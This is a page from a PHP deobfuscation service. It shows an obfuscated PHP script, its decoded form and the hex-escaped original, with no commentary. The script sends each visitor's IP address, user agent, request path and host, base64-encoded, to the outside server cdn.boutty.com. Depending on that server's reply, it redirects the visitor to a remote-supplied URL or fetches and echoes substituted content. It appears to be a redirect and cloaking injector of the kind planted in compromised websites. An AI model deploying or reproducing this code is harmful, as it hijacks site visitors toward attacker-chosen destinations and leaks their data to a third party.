Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  | 
    |              on 2024-03-18 13:55:38              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
goto O532335442910227; O884652052964357: $O122148580406771 = o525151488333751(); goto O470458046724091; O188435386953958: $O463064238522547 = "https://cdn.boutty.com/index.php"; goto O031350793076050; O760687817603163: $O434616510134908 = implode("/", $O462459394321461); goto O241796976250414; O981862963830869: $O344288030230926 = rtrim($O523104256431905, $O523104256431905[strlen($O523104256431905) - 1]); goto O755838396035171; O446190180969443: $O797865878849104 = $_SERVER["HTTP_USER_AGENT"]; goto O551815821570726; O031350793076050: $O431290749580099 = array("encoded_data" => $O339786549690616); goto O741964673789379; O644890312642538: exit; goto O662259927564303; O286975335730881: echo $O280829095804112; goto O890968195640174; O532335442910227: function O525151488333751() { goto O160517836060720; O294884735033450: return $O406043880377749; goto O844172439348424; O886354714735034: O887425358253892: goto O294884735033450; O337053816233210: $O406043880377749 = $_SERVER["HTTP_CF_CONNECTING_IP"]; goto O886354714735034; O160517836060720: $O406043880377749 = $_SERVER["REMOTE_ADDR"]; goto O375658562893064; O375658562893064: if (!isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { goto O887425358253892; } goto O337053816233210; O844172439348424: } goto O884652052964357; O964784576013745: header("Location: " . $O108349593916919); goto O644890312642538; O397461051993615: $O280829095804112 = file_get_contents($O586104129899552); goto O286975335730881; O741964673789379: $O826674126900746 = array(CURLOPT_URL => $O463064238522547, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($O431290749580099), CURLOPT_RETURNTRANSFER => true); goto O835769629410271; O844150887487468: $O339786549690616 = base64_encode($O513357742723762 . $O431290749580099); goto O188435386953958; O535364015800167: $O471104874344229 = isset($_SERVER["HTTP_CF_REQUEST_URI"]) ? $_SERVER["HTTP_CF_REQUEST_URI"] : $_SERVER["REQUEST_URI"]; goto O446190180969443; O890968195640174: exit; goto O639152384005183; O006596230206745: $O026196289197655 = O049214575876196(); goto O535364015800167; O755838396035171: $O462459394321461[2] = $O344288030230926; goto O835999754728022; O220147156758688: O364838339653378: goto O964784576013745; O241796976250414: $O586104129899552 = "https://" . $O026196289197655 . $O434616510134908; goto O397461051993615; O835769629410271: $O134078721581535 = curl_init(); goto O659211479386394; O551815821570726: $O431290749580099 = $O122148580406771 . "|" . $O797865878849104 . "|" . $O471104874344229 . "|" . $O026196289197655; goto O185282152864535; O254186196920233: if (!(count($O462459394321461) >= 3)) { goto O737919176604832; } goto O122752355741430; O185282152864535: $O513357742723762 = "278"; goto O844150887487468; O122752355741430: $O523104256431905 = $O462459394321461[2]; goto O981862963830869; O470458046724091: function O049214575876196() { goto O384482589164114; O350611238157096: if (!isset($_SERVER["HTTP_CF_VISITOR"])) { goto O552381372677912; } goto O133994254379830; O319496740295005: O552381372677912: goto O948431215132760; O948431215132760: return $O069917819547272; goto O915565116590441; O384482589164114: $O069917819547272 = $_SERVER["HTTP_HOST"]; goto O350611238157096; O176767713087132: $O069917819547272 = $O376171220229822["host"]; goto O710796490159442; O133994254379830: $O376171220229822 = json_decode($_SERVER["HTTP_CF_VISITOR"], true); goto O376905598250999; O710796490159442: O723047338292489: goto O319496740295005; O376905598250999: if (!isset($O376171220229822["host"])) { goto O723047338292489; } goto O176767713087132; O915565116590441: } goto O006596230206745; O835999754728022: O737919176604832: goto O760687817603163; O241593821770023: $O108349593916919 = curl_exec($O134078721581535); goto O182835528777972; O182835528777972: curl_close($O134078721581535); goto O689530012718271; O639152384005183: goto O486866014524035; goto O220147156758688; O839694053161243: $O462459394321461 = explode("/", $O471104874344229); goto O254186196920233; O689530012718271: if ($O108349593916919 !== "sai") { goto O364838339653378; } goto O839694053161243; O659211479386394: curl_setopt_array($O134078721581535, $O826674126900746); goto O241593821770023; O662259927564303: O486866014524035: 
 
 ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2024-03-18 13:55:38              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
goto O532335442910227; O884652052964357: $O122148580406771 = o525151488333751(); goto O470458046724091; O188435386953958: $O463064238522547 = "\x68\x74\x74\160\163\72\57\57\x63\x64\x6e\56\x62\157\165\164\164\171\x2e\x63\157\x6d\x2f\151\x6e\144\145\x78\x2e\x70\x68\160"; goto O031350793076050; O760687817603163: $O434616510134908 = implode("\57", $O462459394321461); goto O241796976250414; O981862963830869: $O344288030230926 = rtrim($O523104256431905, $O523104256431905[strlen($O523104256431905) - 1]); goto O755838396035171; O446190180969443: $O797865878849104 = $_SERVER["\110\124\x54\x50\137\x55\x53\105\122\x5f\x41\107\105\116\124"]; goto O551815821570726; O031350793076050: $O431290749580099 = array("\145\x6e\x63\x6f\x64\145\x64\137\x64\141\x74\x61" => $O339786549690616); goto O741964673789379; O644890312642538: exit; goto O662259927564303; O286975335730881: echo $O280829095804112; goto O890968195640174; O532335442910227: function O525151488333751() { goto O160517836060720; O294884735033450: return $O406043880377749; goto O844172439348424; O886354714735034: O887425358253892: goto O294884735033450; O337053816233210: $O406043880377749 = $_SERVER["\x48\x54\124\120\137\103\106\x5f\103\117\x4e\x4e\105\x43\x54\111\116\x47\x5f\x49\x50"]; goto O886354714735034; O160517836060720: $O406043880377749 = $_SERVER["\x52\x45\115\117\124\105\x5f\x41\x44\x44\122"]; goto O375658562893064; O375658562893064: if (!isset($_SERVER["\110\124\x54\120\x5f\103\x46\x5f\x43\117\116\116\x45\103\124\x49\x4e\107\137\111\120"])) { goto O887425358253892; } goto O337053816233210; O844172439348424: } goto O884652052964357; O964784576013745: header("\x4c\157\x63\141\164\x69\157\156\72\40" . $O108349593916919); goto O644890312642538; O397461051993615: $O280829095804112 = file_get_contents($O586104129899552); goto O286975335730881; O741964673789379: $O826674126900746 = array(CURLOPT_URL => $O463064238522547, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($O431290749580099), CURLOPT_RETURNTRANSFER => true); goto O835769629410271; O844150887487468: $O339786549690616 = base64_encode($O513357742723762 . $O431290749580099); goto O188435386953958; O535364015800167: $O471104874344229 = isset($_SERVER["\110\124\124\120\x5f\x43\x46\x5f\122\105\x51\x55\105\123\124\x5f\x55\x52\111"]) ? $_SERVER["\x48\124\x54\120\137\x43\106\137\x52\x45\x51\125\105\x53\124\x5f\125\x52\x49"] : $_SERVER["\122\105\x51\x55\105\x53\x54\x5f\x55\122\x49"]; goto O446190180969443; O890968195640174: exit; goto O639152384005183; O006596230206745: $O026196289197655 = O049214575876196(); goto O535364015800167; O755838396035171: $O462459394321461[2] = $O344288030230926; goto O835999754728022; O220147156758688: O364838339653378: goto O964784576013745; O241796976250414: $O586104129899552 = "\150\164\x74\x70\x73\72\x2f\57" . $O026196289197655 . $O434616510134908; goto O397461051993615; O835769629410271: $O134078721581535 = curl_init(); goto O659211479386394; O551815821570726: $O431290749580099 = $O122148580406771 . "\174" . $O797865878849104 . "\174" . $O471104874344229 . "\174" . $O026196289197655; goto O185282152864535; O254186196920233: if (!(count($O462459394321461) >= 3)) { goto O737919176604832; } goto O122752355741430; O185282152864535: $O513357742723762 = "\62\67\x38"; goto O844150887487468; O122752355741430: $O523104256431905 = $O462459394321461[2]; goto O981862963830869; O470458046724091: function O049214575876196() { goto O384482589164114; O350611238157096: if (!isset($_SERVER["\x48\124\124\120\x5f\x43\x46\x5f\x56\111\x53\111\x54\x4f\122"])) { goto O552381372677912; } goto O133994254379830; O319496740295005: O552381372677912: goto O948431215132760; O948431215132760: return $O069917819547272; goto O915565116590441; O384482589164114: $O069917819547272 = $_SERVER["\110\x54\x54\120\x5f\110\x4f\123\124"]; goto O350611238157096; O176767713087132: $O069917819547272 = $O376171220229822["\x68\157\163\164"]; goto O710796490159442; O133994254379830: $O376171220229822 = json_decode($_SERVER["\110\x54\x54\120\x5f\103\106\x5f\126\111\123\111\x54\x4f\122"], true); goto O376905598250999; O710796490159442: O723047338292489: goto O319496740295005; O376905598250999: if (!isset($O376171220229822["\x68\157\x73\x74"])) { goto O723047338292489; } goto O176767713087132; O915565116590441: } goto O006596230206745; O835999754728022: O737919176604832: goto O760687817603163; O241593821770023: $O108349593916919 = curl_exec($O134078721581535); goto O182835528777972; O182835528777972: curl_close($O134078721581535); goto O689530012718271; O639152384005183: goto O486866014524035; goto O220147156758688; O839694053161243: $O462459394321461 = explode("\57", $O471104874344229); goto O254186196920233; O689530012718271: if ($O108349593916919 !== "\163\x61\x69") { goto O364838339653378; } goto O839694053161243; O659211479386394: curl_setopt_array($O134078721581535, $O826674126900746); goto O241593821770023; O662259927564303: O486866014524035:

Function Calls

None

Variables

None

Stats

MD5 d478c119cacfa8470b4faa58aebe11c5
Eval Count 0
Decode Time 40 ms